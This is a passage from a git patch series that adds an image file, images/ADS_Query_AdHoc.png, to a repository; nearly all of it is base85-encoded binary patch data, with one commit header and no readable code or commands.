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 From 321c94e5d6a99c8e54dd65d5992da5296e45dd3c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 14 May 2018 12:38:08 -0500 Subject: [PATCH 03/27] Add files via upload --- images/ADS_Query_AdHoc.png | Bin 0 -> 105002 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 images/ADS_Query_AdHoc.png diff --git a/images/ADS_Query_AdHoc.png b/images/ADS_Query_AdHoc.png new file mode 100644 index 0000000000000000000000000000000000000000..87d6dacb6f95f0a2a2b8abb67188f3e53d95f4b8 GIT binary patch literal 105002 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 